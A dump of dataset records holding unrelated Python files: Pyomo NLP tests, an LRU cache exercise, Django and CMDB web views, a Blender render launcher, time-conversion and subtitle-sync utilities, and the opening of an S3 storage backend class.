expected\n ineq_constraint_idxs = list()\n ineq_constraint_idxs.append(self.nlp.ineq_constraint_idx('i1'))\n ineq_constraint_idxs.append(self.nlp.ineq_constraint_idx('i2'))\n ineq_constraint_idxs.append(self.nlp.ineq_constraint_idx('i3'))\n self.assertEqual(sum(ineq_constraint_idxs), 3)\n\n\nclass TestPyomoNLP(unittest.TestCase):\n @classmethod\n def setUpClass(cls):\n # test problem\n cls.pm = create_pyomo_model1()\n \n @classmethod\n def tearDownClass(cls):\n pass\n\n def test_nlp_interface(self):\n nlp = PyomoNLP(self.pm)\n execute_extended_nlp_interface(self, nlp)\n self.assertTrue(nlp.pyomo_model() is self.pm)\n\n def test_indices_methods(self):\n nlp = PyomoNLP(self.pm)\n\n # get_pyomo_variables\n variables = nlp.get_pyomo_variables()\n expected_ids = [id(self.pm.x[i]) for i in range(1,10)]\n ids = [id(variables[i]) for i in range(9)]\n self.assertTrue(expected_ids == ids)\n\n variable_names = nlp.variable_names()\n expected_names = [self.pm.x[i].getname() for i in range(1,10)]\n self.assertTrue(variable_names == expected_names)\n\n # get_pyomo_constraints\n constraints = nlp.get_pyomo_constraints()\n expected_ids = [id(self.pm.c[i]) for i in range(1,10)]\n ids = [id(constraints[i]) for i in range(9)]\n self.assertTrue(expected_ids == ids)\n\n constraint_names = nlp.constraint_names()\n expected_names = [c.getname() for c in nlp.get_pyomo_constraints()]\n self.assertTrue(constraint_names == expected_names)\n\n # get_primal_indices\n expected_primal_indices = [i for i in range(9)]\n self.assertTrue(expected_primal_indices == nlp.get_primal_indices([self.pm.x]))\n expected_primal_indices = [0, 3, 8, 4]\n variables = [self.pm.x[1], self.pm.x[4], self.pm.x[9], self.pm.x[5]]\n self.assertTrue(expected_primal_indices == nlp.get_primal_indices(variables))\n\n # get_constraint_indices\n expected_constraint_indices = [i for i in range(9)]\n self.assertTrue(expected_constraint_indices == nlp.get_constraint_indices([self.pm.c]))\n expected_constraint_indices = [0, 3, 8, 4]\n constraints = [self.pm.c[1], self.pm.c[4], self.pm.c[9], self.pm.c[5]]\n self.assertTrue(expected_constraint_indices == nlp.get_constraint_indices(constraints))\n\n # extract_subvector_grad_objective\n expected_gradient = np.asarray([2*sum((i+1)*(j+1) for j in range(9)) for i in range(9)], dtype=np.float64)\n grad_obj = nlp.extract_subvector_grad_objective([self.pm.x])\n self.assertTrue(np.array_equal(expected_gradient, grad_obj))\n\n expected_gradient = np.asarray([2*sum((i+1)*(j+1) for j in range(9)) for i in [0, 3, 8, 4]], dtype=np.float64)\n variables = [self.pm.x[1], self.pm.x[4], self.pm.x[9], self.pm.x[5]]\n grad_obj = nlp.extract_subvector_grad_objective(variables)\n self.assertTrue(np.array_equal(expected_gradient, grad_obj))\n\n # extract_subvector_constraints\n expected_con = np.asarray([45, 88, 3*45, 4*45, 5*45, 276, 7*45, 8*45, 9*45], dtype=np.float64)\n con = nlp.extract_subvector_constraints([self.pm.c])\n self.assertTrue(np.array_equal(expected_con, con))\n\n expected_con = np.asarray([45, 4*45, 9*45, 5*45], dtype=np.float64)\n constraints = [self.pm.c[1], self.pm.c[4], self.pm.c[9], self.pm.c[5]]\n con = nlp.extract_subvector_constraints(constraints)\n self.assertTrue(np.array_equal(expected_con, con))\n\n # extract_submatrix_jacobian\n expected_jac = [ [(i)*(j) for j in range(1,10)] for i in range(1,10) ]\n expected_jac = np.asarray(expected_jac, dtype=np.float64)\n jac = nlp.extract_submatrix_jacobian(pyomo_variables=[self.pm.x], pyomo_constraints=[self.pm.c])\n dense_jac = jac.todense()\n self.assertTrue(np.array_equal(dense_jac, expected_jac))\n\n expected_jac = [ [(i)*(j) for j in [1, 4, 9, 5]] for i in [2, 6, 4] ]\n expected_jac = np.asarray(expected_jac, dtype=np.float64)\n variables = [self.pm.x[1], self.pm.x[4], self.pm.x[9], self.pm.x[5]]\n constraints = [self.pm.c[2], self.pm.c[6], self.pm.c[4]]\n jac = nlp.extract_submatrix_jacobian(pyomo_variables=variables, pyomo_constraints=constraints)\n dense_jac = jac.todense()\n self.assertTrue(np.array_equal(dense_jac, expected_jac))\n\n # extract_submatrix_hessian_lag\n expected_hess = [ [2.0*i*j for j in range(1, 10)] for i in range(1,10) ]\n expected_hess = np.asarray(expected_hess, dtype=np.float64)\n hess = nlp.extract_submatrix_hessian_lag(pyomo_variables_rows=[self.pm.x], pyomo_variables_cols=[self.pm.x])\n dense_hess = hess.todense()\n self.assertTrue(np.array_equal(dense_hess, expected_hess))\n\n expected_hess = [ [2.0*i*j for j in [1, 4, 9, 5]] for i in [1, 4, 9, 5]]\n expected_hess = np.asarray(expected_hess, dtype=np.float64)\n variables = [self.pm.x[1], self.pm.x[4], self.pm.x[9], self.pm.x[5]]\n hess = nlp.extract_submatrix_hessian_lag(pyomo_variables_rows=variables, pyomo_variables_cols=variables)\n dense_hess = hess.todense()\n self.assertTrue(np.array_equal(dense_hess, expected_hess))\n\n def test_no_objective(self):\n m = pyo.ConcreteModel()\n m.x = pyo.Var()\n m.c = pyo.Constraint(expr=2.0*m.x>=5)\n with self.assertRaises(NotImplementedError):\n nlp = PyomoNLP(m)\n\nclass TestUtils(unittest.TestCase):\n @classmethod\n def setUpClass(cls):\n cls.pm = create_pyomo_model1()\n temporary_dir = tempfile.mkdtemp()\n cls.filename = os.path.join(temporary_dir, \"Pyomo_TestAslNLP\")\n cls.pm.write(cls.filename+'.nl', io_options={\"symbolic_solver_labels\": True})\n\n @classmethod\n def tearDownClass(cls):\n # TODO: remove the nl files\n pass\n\n def test_util_maps(self):\n anlp = AslNLP(self.filename)\n full_to_compressed_mask = build_compression_mask_for_finite_values(anlp.primals_lb())\n\n # test build_bounds_mask - should be the same as above\n self.assertTrue(np.array_equal(full_to_compressed_mask, build_bounds_mask(anlp.primals_lb())))\n\n expected_compressed_primals_lb = np.asarray([-1, -3, -5, -7, -9], dtype=np.float64)\n\n # test build_compression_matrix\n C = build_compression_matrix(full_to_compressed_mask)\n compressed_primals_lb = C*anlp.primals_lb()\n self.assertTrue(np.array_equal(expected_compressed_primals_lb, compressed_primals_lb))\n\n # test full_to_compressed\n compressed_primals_lb = full_to_compressed(anlp.primals_lb(), full_to_compressed_mask)\n self.assertTrue(np.array_equal(expected_compressed_primals_lb, compressed_primals_lb))\n # test in place\n compressed_primals_lb = np.zeros(len(expected_compressed_primals_lb))\n ret = full_to_compressed(anlp.primals_lb(), full_to_compressed_mask, out=compressed_primals_lb)\n self.assertTrue(ret is compressed_primals_lb)\n self.assertTrue(np.array_equal(expected_compressed_primals_lb, compressed_primals_lb))\n \n # test compressed_to_full\n expected_full_primals_lb = np.asarray([-1, -np.inf, -3, -np.inf, -5, -np.inf, -7, -np.inf, -9], dtype=np.float64)\n full_primals_lb = compressed_to_full(compressed_primals_lb, full_to_compressed_mask, default=-np.inf)\n self.assertTrue(np.array_equal(expected_full_primals_lb, full_primals_lb))\n # test in place\n full_primals_lb.fill(0.0)\n ret = compressed_to_full(compressed_primals_lb, full_to_compressed_mask, out=full_primals_lb, default=-np.inf)\n self.assertTrue(ret is full_primals_lb)\n self.assertTrue(np.array_equal(expected_full_primals_lb, full_primals_lb))\n\n # test no default\n expected_full_primals_lb = np.asarray([-1, np.nan, -3, np.nan, -5, np.nan, -7, np.nan, -9], dtype=np.float64)\n full_primals_lb = compressed_to_full(compressed_primals_lb, full_to_compressed_mask)\n print(expected_full_primals_lb)\n print(full_primals_lb)\n np.testing.assert_array_equal(expected_full_primals_lb, full_primals_lb)\n # test in place no default\n expected_full_primals_lb = np.asarray([-1, 0.0, -3, 0.0, -5, 0.0, -7, 0.0, -9], dtype=np.float64)\n full_primals_lb.fill(0.0)\n ret = compressed_to_full(compressed_primals_lb, full_to_compressed_mask, out=full_primals_lb)\n self.assertTrue(ret is full_primals_lb)\n self.assertTrue(np.array_equal(expected_full_primals_lb, full_primals_lb))\n\n\nif __name__ == '__main__':\n TestAslNLP.setUpClass()\n t = TestAslNLP()\n t.test_create()\n \n","sub_path":"pyomo/contrib/pynumero/interfaces/tests/test_nlp.py","file_name":"test_nlp.py","file_ext":"py","file_size_in_byte":27942,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"143077991","text":"class Node:\n \"\"\"Node in a list\"\"\"\n\n def __init__(self, key, val, nxt=None, prev=None):\n self.val = val\n self.key = key\n self.next = nxt\n self.prev = prev\n\n def __repr__(self):\n n = '({},{})'.format(str(self.next.key), str(\n self.next.val)) if self.next else 'x'\n p = '({},{})'.format(str(self.prev.key), str(\n self.prev.val)) if self.prev else 'x'\n return '{}<-({},{})->{}'.format(p, str(self.key), str(self.val), n)\n\n\nclass LinkedList(object):\n \"\"\"docstring for LinkedList\"\"\"\n head = None\n tail = None\n size = 0\n\n def push(self, node):\n if self.head is None:\n self.head = node\n self.tail = node\n else:\n self.head.prev = node\n node.next = self.head\n self.head = node\n self.head.prev = None \n self.size += 1\n\n def remove(self, node):\n if node is None:\n return\n if node.prev is not None:\n node.prev.next = node.next\n if node.next is not None:\n node.next.prev = node.next\n if node == self.tail:\n self.tail = node.prev\n if node == self.head:\n self.head = node.next\n\n def delete(self, node):\n self.remove(node)\n self.size -= 1\n return node\n\n def pop(self):\n return self.delete(self.tail)\n\n def reset(self):\n self.head = self.tail = None\n self.size = 0\n\n def move_to_head(self, node):\n self.delete(node)\n self.push(node)\n\n def __repr__(self):\n c = self.head\n r = []\n while c is not None:\n r.append(str(c))\n c = c.next\n return '|' + \"-\".join(r) + '| size:' + str(self.size)\n\n\nclass LRUCache(object):\n\n def __init__(self, capacity):\n self.capacity = capacity\n self.m = dict()\n self.l = LinkedList()\n\n def put(self, k, v):\n if k in self.m:\n self.l.delete(self.m[k])\n self.l.push(Node(k, v))\n\n if self.l.size > self.capacity:\n print(self.l)\n del self.m[self.l.pop().key]\n self.m[k] = self.l.head\n\n def get(self, k):\n print('get({})'.format(k))\n # print(self)\n # print(self.l)\n if k not in self.m:\n return -1\n self.l.move_to_head(self.m[k])\n # print('after')\n # print(self)\n # print(self.l)\n return self.l.head.val\n\n def __repr__(self):\n return ('|').join(str(self.m[s]) for s in self.m)\n\n\nLRUCache = LRUCache(3)\nLRUCache.put(10, 13)\nLRUCache.put(3, 17)\nLRUCache.put(6, 11)\nLRUCache.put(10, 5)\nLRUCache.put(9, 10)\nLRUCache.get(13)\nLRUCache.put(2, 19)\nLRUCache.get(2)\nLRUCache.get(3)\nLRUCache.put(5, 25)\nLRUCache.get(8)\nLRUCache.put(9, 22)\nLRUCache.put(5, 5)\nLRUCache.put(1, 30)\nprint(LRUCache.l)\nLRUCache.get(11)\nLRUCache.put(9, 12)\nLRUCache.get(7)\nLRUCache.get(5)\nLRUCache.get(8)\nLRUCache.get(9)\nLRUCache.put(4, 30)\nLRUCache.put(9, 3)\nLRUCache.get(9)\nLRUCache.get(10)\nLRUCache.get(10)\nLRUCache.put(6, 14)\nLRUCache.put(3, 1)\nLRUCache.get(3)\nLRUCache.put(10, 11)\nLRUCache.get(8)\nLRUCache.put(2, 14)\nLRUCache.get(1)\nLRUCache.get(5)\nLRUCache.get(4)\nLRUCache.put(11, 4)\nLRUCache.put(12, 24)\nLRUCache.put(5, 18)\nLRUCache.get(13)\nLRUCache.put(7, 23)\n","sub_path":"LinkedList/ll2.py","file_name":"ll2.py","file_ext":"py","file_size_in_byte":3308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"53948541","text":"from django.shortcuts import render, redirect\nfrom .models import *\nfrom django.urls import reverse_lazy\nfrom django.views.generic import *\nfrom django.contrib.auth.models import User\nfrom .forms import ContactoForm, VideoNosForm\nfrom django.core.mail import send_mail\nfrom django.contrib.messages.views import SuccessMessageMixin\nfrom django.http import HttpResponse\nfrom random import shuffle\n\n\n\nclass Inicio(SuccessMessageMixin, FormView):\n form_class = ContactoForm\n template_name = 'index.html'\n success_url = reverse_lazy('inicio')\n success_message = \"Tu mensaje ha sido enviado exitosamente. Gracias por contactarnos.\"\n \n\n def form_valid(self, form):\n contact_name = form.cleaned_data['contact_name']\n contact_email = form.cleaned_data['contact_email']\n subject = form.cleaned_data['subject']\n message = \"{0} tienes un nuevo mensaje:\\n\\n{1}\".format(contact_name, form.cleaned_data['message'])\n send_mail(subject, message, contact_email, ['eve.redjoven@gmail.com'], fail_silently = False)\n return super(Inicio, self).form_valid(form)\n\n \n def get_context_data(self, **kwargs):\n context = super(Inicio, self).get_context_data(**kwargs)\n context['nos'] = Nosotros.objects.all()\n context['project'] = Proyecto.objects.all()\n context['prensa'] = Noticia.objects.all().order_by('-fecha')[:6]\n context['testi'] = Testimonio.objects.all().order_by('-id')[:5]\n listaVideos=Nosotros.objects.all()\n if (len(listaVideos)>0): #Si hay videos\n lastvideo= Nosotros.objects.all()[0]\n context['videofile']= lastvideo.videofile\n \n return context\n\n\n\n\n\nclass AboutUs(TemplateView):\n model = Nosotros\n template_name = 'aplicacion1/nosotros.html' \n context_object_name = 'nos'\n queryset = Nosotros.objects.all() \n\n \n def get_context_data(self, **kwargs):\n context = super(AboutUs, self).get_context_data(**kwargs)\n context['nos'] = Nosotros.objects.all()\n context['anual'] = ProyectoAnual.objects.all()\n context['project'] = Proyecto.objects.all()\n return context\n\n\nclass ProgramaAnual(ListView):\n model = ProyectoAnual\n template_name = 'aplicacion1/proyectoAnual.html'\n context_object_name = 'anual'\n queryset = ProyectoAnual.objects.all()\n \n def get_context_data(self, **kwargs):\n context=super(ProgramaAnual, self).get_context_data(**kwargs)\n parametro = self.kwargs.get('id', None)\n context['nos'] = Nosotros.objects.all()\n context['anualId']=ProyectoAnual.objects.filter(id=parametro)\n context['project'] = Proyecto.objects.all() \n return context\n\n\n \n\n\nclass Programa(ListView):\n model = Proyecto\n template_name = 'aplicacion1/proyecto.html'\n context_object_name = 'project'\n queryset = Proyecto.objects.all()\n \n def get_context_data(self, **kwargs):\n context=super(Programa, self).get_context_data(**kwargs)\n parametro = self.kwargs.get('id', None)\n context['nos'] = Nosotros.objects.all()\n context['pro']=Proyecto.objects.filter(id=parametro)\n context['ima']=Imagen_Proyecto.objects.all()\n return context\n\n\n\nclass Prensa(ListView):\n paginate_by = 4\n model = Noticia\n template_name = 'aplicacion1/noticias.html'\n context_object_name = 'prensa'\n queryset = Noticia.objects.all()\n\n def get_context_data(self, **kwargs):\n context = super(Prensa, self).get_context_data(**kwargs)\n context['anual'] = ProyectoAnual.objects.all()\n context['project'] = Proyecto.objects.all()\n context['nos'] = Nosotros.objects.all()\n context['destacados']= Noticia.objects.filter(destacados = True)[:4]\n context['template']= 'aplicacion1:noticia' \n return context\n\n \n\n\nclass InfoPrensa(DetailView):\n template_name = 'aplicacion1/infoNoticia.html'\n model = Noticia\n\n def get_context_data(self, **kwargs):\n context = super(InfoPrensa, self).get_context_data(**kwargs)\n idnoticia = self.kwargs.get('pk',None)\n context['info'] = Noticia.objects.get(pk = idnoticia)\n context['template']= 'aplicacion1:infonoticia'\n context['idTemp'] = idnoticia\n context['nos'] = Nosotros.objects.all()\n return context\n\n \n \n\nclass Contacto(SuccessMessageMixin, FormView):\n form_class = ContactoForm\n success_url = reverse_lazy('aplicacion1:contacto')\n template_name = 'aplicacion1/contacto.html'\n success_message = \"Tu mensaje fue enviado exitosamente. Gracias por contactarnos.\"\n \n def form_valid(self, form):\n contact_name = form.cleaned_data['contact_name']\n contact_email = form.cleaned_data['contact_email']\n subject = form.cleaned_data['subject']\n message = \"{0} tienes un nuevo mensaje:\\n\\n{1}\".format(contact_name, form.cleaned_data['message'])\n send_mail(subject, message, contact_email, ['eve.redjoven@gmail.com'], fail_silently = False)\n return super(Contacto, self).form_valid(form)\n\n def get_context_data(self, **kwargs):\n context = super(Contacto, self).get_context_data(**kwargs)\n context['nos'] = Nosotros.objects.all()\n context['anual'] = ProyectoAnual.objects.all()\n context['project'] = Proyecto.objects.all()\n return context\n \n \n","sub_path":"aplicacion1/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"604996198","text":"#!/cm/shared/openmind/anaconda/2.1.0/bin/python\n\nimport sys, subprocess\n\nstart = 0\nend = -1\n\nif '--' in sys.argv:\n\tind = sys.argv.index('--')\n\targs = sys.argv[ind+1:]\n\tstart = int(args[0])\n\tend = int(args[1])\n\trender_script = args[2]\n\tblend_file = args[3]\n\tgpu = args[4]\n\n# if 'Shapes' in render_script:\n# \tblend_file = '/om/user/janner/mit/urop/picture/centos/torch/shapenet/blender/shapenet.blend'\n# else:\n# \tblend_file = '/om/user/janner/mit/urop/picture/centos/occlusionOrthographic.blend'\n\n# blend_file = blend_file = '/om/user/janner/mit/urop/picture/centos/torch/shapenet/shapenet.blend'\n\ndef render():\n\tprint('render')\n\tp = subprocess.call(['/om/user/janner/blender-2.76b-linux-glibc211-x86_64/blender', blend_file, '--background', '-noaudio', '--python', render_script, '--', str(start), str(end), gpu])\n\nrender()","sub_path":"dDiff-dOccl/Render.py","file_name":"Render.py","file_ext":"py","file_size_in_byte":822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"63026654","text":"# -*- coding: utf-8 -*-\nfrom django.shortcuts import render,redirect,get_object_or_404\nfrom django.http import HttpResponse\nfrom cmdb.models import Zone,HostPhysical \nfrom django.core.context_processors import csrf\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.contrib.auth.decorators import login_required,permission_required\nfrom form import ZoneForm\nimport cmdb_log\nimport json\n\n@login_required\ndef zone_get(request):\n if request.method == 'GET':\n objects = Zone.objects.all()\n context = {'objects':objects}\n return render(request,'resource_zone_list.html',context)\n@permission_required('cmdb.change_zone',raise_exception=True)\n@login_required\ndef zone_add(request):\n form = ZoneForm(request.POST or None)\n if form.is_valid():\n form.save()\n i = form.instance\n data = form.cleaned_data\n cmdb_log.log_addition(request,i,i.Zone_Name,data)\n return redirect('resource_zone_get')\n return render(request, 'resource_zone_form.html', {'form':form})\n\n@permission_required('cmdb.change_zone',raise_exception=True)\n@login_required\ndef zone_edit(request,pk):\n object = get_object_or_404(Zone,pk=pk)\n object_data = object.__dict__.copy()\n form = ZoneForm(request.POST or None, instance=object)\n if form.is_valid():\n form.save()\n i = form.instance\n form_data = form.cleaned_data\n message = cmdb_log.cmp(form_data,object_data)\n cmdb_log.log_change(request,i,form_data['Zone_Name'],message)\n return redirect('resource_zone_get')\n return render(request,'resource_zone_form.html', {'form':form})\n\n@permission_required('cmdb.change_zone',raise_exception=True)\n@login_required\ndef zone_delete(request,pk):\n object= get_object_or_404(Zone,pk=pk)\n object_data = object.__dict__.copy()\n if HostPhysical.objects.filter(zone=object.id):\n return render(request,'deny_delete.html')\n if request.method=='POST':\n object.delete()\n cmdb_log.log_deletion(request,object,object.Zone_Name,object_data)\n return redirect('resource_zone_get')\n return render(request,'resource_zone_confirm_delete.html', {'object':object})\n\n\n@login_required\n@csrf_exempt\ndef ajax_zone_get(request):\n response = {}\n data = []\n id_idc = int(request.POST['id_idc'])\n if id_idc:\n zones = Zone.objects.filter(idc=id_idc)\n for zone in zones:\n id_zone = zone.id\n data.append({'id':id_zone,'name':zone.Zone_Name})\n response = {'item_list':data}\n return HttpResponse(json.dumps(response))\n return HttpResponse(json.dumps(response))\n\n","sub_path":"cmdb/resource_zone_views.py","file_name":"resource_zone_views.py","file_ext":"py","file_size_in_byte":2624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"235013567","text":"r\"\"\"\nCreated on Mon Jul 16 16:01:24 2018\n\n@author: F. Obersteiner, florian\\obersteiner\\\\kit\\edu\n\"\"\"\nfrom datetime import datetime, timedelta, timezone\nimport numpy as np\n\n\n###############################################################################\n\n\ndef timestring_2_mdns(timestring,\n tsfmt: str = \"%Y-%m-%d %H:%M:%S.%f\",\n ymd: list = None):\n \"\"\"\n convert a time string to seconds since midnight (float).\n UTC prescribed. Cannot be used with time strings that contain tzinfo.\n ISO-8601 date string format: '%Y-%m-%dT%H:%M:%S%z'.\n ymd: define starting data as list of integers; [year, month, day]\n \"\"\"\n ret_scalar = False\n if not isinstance(timestring, (list, np.ndarray)):\n timestring = [timestring]\n ret_scalar = True\n\n dt = [datetime.strptime(s, tsfmt) for s in timestring]\n dt = [s.replace(tzinfo=timezone.utc) for s in dt]\n if ymd: # [yyyy,m,d] given, take that as starting point\n t0 = (datetime(year=ymd[0], month=ymd[1], day=ymd[2],\n hour=0, minute=0, second=0, microsecond=0,\n tzinfo=timezone.utc))\n else: # use date from timestring as starting point\n t0 = dt[0].replace(hour=0, minute=0, second=0, microsecond=0)\n\n mdns = [(s - t0).total_seconds() for s in dt]\n\n return mdns[0] if ret_scalar else mdns\n\n\n###############################################################################\n\n\ndef timestring_2_utcts(timestring,\n tsfmt: str = \"%Y-%m-%d %H:%M:%S.%f\"):\n \"\"\"\n convert a non-localized timestring to utc timestamp.\n \"\"\"\n t = datetime.strptime(timestring, tsfmt)\n return t.replace(tzinfo=timezone.utc).timestamp()\n\n###############################################################################\n\n\ndef datetimeobj_2_mdns(dt_obj,\n ix0_ix_t0: bool = False,\n t0_set: tuple = False):\n \"\"\"\n convert a python datetime object (or list of datetime objects) to seconds\n after midnight.\n \n KWARGS -\n ix0_ix_t0 (bool):\n first entry of dt_obj list/array defines start date.\n t0_set (tuple of int): \n custom start date given as (year, month, day).\n \n \"\"\"\n ret_scalar = False\n if not isinstance(dt_obj, (list, np.ndarray)):\n dt_obj, ret_scalar = [dt_obj], True\n \n if t0_set:\n t0 = datetime(t0_set[0], t0_set[1], t0_set[2], tzinfo=dt_obj[0].tzinfo)\n elif ix0_ix_t0:\n t0 = dt_obj[0]\n\n if ix0_ix_t0 or t0_set:\n result = ([(x-t0.replace(hour=0, minute=0, second=0, microsecond=0))\n .total_seconds() for x in dt_obj])\n else:\n result = ([(x-x.replace(hour=0, minute=0, second=0, microsecond=0))\n .total_seconds() for x in dt_obj])\n \n return result[0] if ret_scalar else result\n\n\n\n###############################################################################\n\n\ndef posixts_2_mdns(posixts,\n ymd: list = None):\n \"\"\"\n convert a python/POSIX timestamp (or list) to seconds\n after midnight. Year/month/day are not returned.\n ymd: define starting data as list of integers; [year, month, day]\n (!) input variable must be a UTC timestamp\n \"\"\"\n ret_scalar = False\n if not isinstance(posixts, (list, np.ndarray)):\n try:\n posixts = list(posixts)\n except TypeError:\n posixts = [posixts]\n ret_scalar = True\n\n if ymd: # [yyyy,m,d] given, take that as starting point\n t0 = (datetime(year=ymd[0], month=ymd[1], day=ymd[2],\n hour=0, minute=0, second=0, microsecond=0,\n tzinfo=timezone.utc))\n\n dt_obj = [datetime.utcfromtimestamp(ts) for ts in posixts]\n dt_obj = [d.replace(tzinfo=timezone.utc) for d in dt_obj]\n if not ymd: # take date of first entry as starting point\n t0 = dt_obj[0].replace(hour=0, minute=0, second=0, microsecond=0)\n ts = [(s - t0).total_seconds() for s in dt_obj]\n\n return ts[0] if ret_scalar else ts\n\n\n###############################################################################\n\n\ndef mdns_2_datetimeobj(mdns,\n ref_date,\n posix: bool = False,\n str_fmt: str = False):\n \"\"\"\n convert seconds after midnight to python datetime object (single value or\n list) for a given year, month and day.\n ref_date: \n reference date; tuple of int (year, month, day) or datetime object.\n (!) if reference date is supplied, timezone is assumed to be UTC.\n POSIX: \n if set to True, the corresponding POSIX timestamp is returned.\n STR_FMT: if provided, output is delivered as formatted string. POSIX must\n be False in that case, otherwise STR_FMT is overridden (evaluated last).\n \"\"\"\n ret_scalar = False\n if not isinstance(mdns, (list, np.ndarray)):\n try:\n mdns = list(mdns)\n except TypeError:\n mdns = [mdns]\n ret_scalar = True\n\n if not isinstance(mdns[0], (float, np.float32, np.float64)):\n mdns = list(map(float, mdns))\n \n if isinstance(ref_date, tuple):\n ref_date = datetime(*ref_date, tzinfo=timezone.utc)\n tz = ref_date.tzinfo\n \n posix_ts = []\n for t in mdns:\n if t/86400 > 1:\n days_off = int(t/86400)\n posix_ts.append(ref_date + timedelta(days=days_off,\n seconds=t-86400*days_off))\n else:\n posix_ts.append(ref_date + timedelta(seconds=t))\n\n posix_ts = [p.replace(tzinfo=tz) for p in posix_ts]\n\n if posix:\n posix_ts = [x.timestamp() for x in posix_ts]\n elif str_fmt:\n if \"%f\" in str_fmt:\n posix_ts = [x.strftime(str_fmt)[:-3] for x in posix_ts]\n else:\n posix_ts = [x.strftime(str_fmt) for x in posix_ts]\n\n return posix_ts[0] if ret_scalar else posix_ts\n\n\n###############################################################################\n\n\ndef daysSince_2_dtObj(daysSince, day0, tz=timezone.utc):\n \"\"\"\n convert a floating point number \"daysSince\" to a datetime object.\n day0: datetime object, from when to count.\n \"\"\"\n if not day0.tzinfo:\n day0 = day0.replace(tzinfo=tz)\n\n if isinstance(daysSince, (list, np.ndarray)):\n return [(day0 + timedelta(days=ds)).replace(tzinfo=tz) for ds in daysSince]\n return (day0 + timedelta(days=daysSince)).replace(tzinfo=tz)\n\n\n###############################################################################\n","sub_path":"timeconversions.py","file_name":"timeconversions.py","file_ext":"py","file_size_in_byte":6576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"263097401","text":"# coding: utf-8\n\nimport argparse\nimport codecs\nimport datetime\nimport re\n\nTIME_PATTERN_STR = '\\d{2}:\\d{2}:\\d{2},\\d{3}'\n\n\nclass SyncSubtitle(object):\n\n SCENE_TIME_FORMAT = '%H:%M:%S,%f'\n SCENE_TIME_PATTERN = re.compile(\n '(?P{0}) --> (?P{0})'.format(TIME_PATTERN_STR)\n )\n\n def __init__(self, filename, seconds):\n self.filename = filename\n self.seconds = datetime.timedelta(seconds=seconds)\n\n def _open(self, filename, mode='r', encoding=None):\n return codecs.open(filename, mode, encoding=encoding)\n\n def change_line(self, line):\n time_found = self.SCENE_TIME_PATTERN.match(line)\n\n if time_found is not None:\n start, end = time_found.groups()\n return self.make_line(start, end)\n\n return line\n\n def str_to_datetime(self, time):\n return datetime.datetime.strptime(\n time, self.SCENE_TIME_FORMAT\n )\n\n def datetime_to_str(self, date):\n return date.strftime(self.SCENE_TIME_FORMAT).rstrip('000')\n\n def make_line(self, start, end):\n datetime_start = self.str_to_datetime(start)\n datetime_end = self.str_to_datetime(end)\n\n new_start = self.datetime_to_str(datetime_start + self.seconds)\n new_end = self.datetime_to_str(datetime_end + self.seconds)\n\n return '{start} --> {end}\\n'.format(start=new_start, end=new_end)\n\n def sync_time(self, new_subtitle_name='new_subtitle.srt'):\n with self._open(self.filename) as subtitle_file:\n lines = map(self.change_line, subtitle_file.readlines())\n\n with self._open(new_subtitle_name, 'w') as new_subtitle:\n new_subtitle.writelines(lines)\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(\n description=u'Change time between scenes.'\n )\n parser.add_argument(\n 'subtitle_file',\n help=u'Subtitle file path'\n )\n parser.add_argument(\n 'seconds',\n type=float,\n )\n\n args = parser.parse_args()\n\n sync = SyncSubtitle(\n filename=args.subtitle_file,\n seconds=args.seconds\n )\n sync.sync_time()\n","sub_path":"scripts/subtitle.py","file_name":"subtitle.py","file_ext":"py","file_size_in_byte":2128,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"101493420","text":"\n# 入力\npa_in = 1\npa_zero = 10.1\npa_gain = 2\n\n# 演算\nzpa_zero = pa_in + pa_zero\nzpa_gain = zpa_zero * pa_gain\nsin_data = zpa_gain / (2 ** 15)\n\n\n# 出力\nprint(sin_data)\nprint(int(sin_data))\nprint(type(zpa_zero)) # pythonはデータ型を自動で変えてくれる\n","sub_path":"signal_proccesing.py","file_name":"signal_proccesing.py","file_ext":"py","file_size_in_byte":272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"242267787","text":"\"\"\"S3 storage backend for Ralph.\"\"\"\n\nimport logging\n\nimport boto3\nfrom botocore.exceptions import ClientError, ParamValidationError\n\nfrom ralph.conf import settings\nfrom ralph.exceptions import BackendException, BackendParameterException\nfrom ralph.utils import now\n\nfrom ..mixins import HistoryMixin\nfrom .base import BaseStorage\n\ns3_settings = settings.BACKENDS.STORAGE.S3\nlogger = logging.getLogger(__name__)\n\n\nclass S3Storage(\n HistoryMixin, BaseStorage\n): # pylint: disable=too-many-instance-attributes\n \"\"\"AWS S3 storage backend.\"\"\"\n\n name = \"s3\"\n\n # pylint: disable=too-many-arguments\n\n def __init__(\n self,\n access_key_id: str = s3_settings.ACCESS_KEY_ID,\n secret_access_key: str = s3_settings.SECRET_ACCESS_KEY,\n session_token: str = s3_settings.SESSION_TOKEN,\n default_region: str = s3_settings.DEFAULT_REGION,\n bucket_name: str = s3_settings.BUCKET_NAME,\n endpoint_url: str = s3_settings.ENDPOINT_URL,\n ):\n \"\"\"Instantiates the AWS S3 client.\"\"\"\n self.access_key_id = access_key_id\n self.secret_access_key = secret_access_key\n self.session_token = session_token\n self.default_region = default_region\n self.bucket_name = bucket_name\n self.endpoint_url = endpoint_url\n\n self.client = boto3.client(\n \"s3\",\n aws_access_key_id=self.access_key_id,\n aws_secret_access_key=self.secret_access_key,\n aws_session_token=self.session_token,\n region_name=self.default_region,\n endpoint_url=self.endpoint_url,\n )\n\n # Check whether bucket exists and is accessible\n try:\n self.client.head_bucket(Bucket=self.bucket_name)\n except ClientError as err:\n error_msg = err.response[\"Error\"][\"Message\"]\n msg = \"Unable to connect to the requested bucket: %s\"\n logger.error(msg, error_msg)\n raise BackendParameterException(msg % error_msg) from err\n\n def list(self, details=False, new=False):\n \"\"\"Lists archives in the storage backend.\"\"\"\n archives_to_skip 